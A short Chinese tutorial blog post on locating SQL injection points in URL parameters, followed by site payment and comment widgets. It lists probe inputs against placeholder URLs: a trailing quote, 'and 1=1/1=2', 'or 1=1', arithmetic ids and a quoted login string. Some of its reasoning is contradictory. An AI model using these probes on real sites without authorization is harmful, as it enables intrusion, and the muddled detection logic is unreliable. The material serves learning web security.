寻找sql注入点的方法

sql相关注入原理:【超详细版】学习SQL注入看这篇就够了(原理及思路绕过) - 知乎 (zhihu.com)

寻找sql注入点:

        如果要查看一个网站是否存在sql注入漏洞,通常可以查看url中是否含有http://www.xxx.com/xxx.asp?id=YY,其中“YY”可能是数字(整型),也有可能是字符串(字符型)。

对整型数据进行sql注入的方法如下:

加单引号法

在url后添加一个’,如下所示:

 http://www.xxx.com/xxx.asp?id=YY’

如果页面显示sql语法错误,那么该页面这里就可能存在一个注入点

如果显示页面报错,那么很抱歉,这里是没有sql注入点的

and法

通过and将两个语句拼接起来根据返回页面结果来判断and语句是否执行从而判断是否存在sql注入

 http://www.xxx.com/xxx.asp?id=YY’ and 1=1        返回正常页面

 http://www.xxx.com/xxx.asp?id=YY’ and 1=2        返回非正常页面

则表示存在注入

or法

 http://www.xxx.com/xxx.asp?id=YY’ or 1=1        返回正常页面

 http://www.xxx.com/xxx.asp?id=YY’ or 1=2        返回正常页面

则表示存在注入

数字型运算符注入

http://www.xxx.com/xxx.asp?id=1

http://www.xxx.com/xxx.asp?id=2-1

若两次页面回显一样,则表示存在

字符串运算符注入

useranme=ad'' min&password=adm' 'in&submit=Submit

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值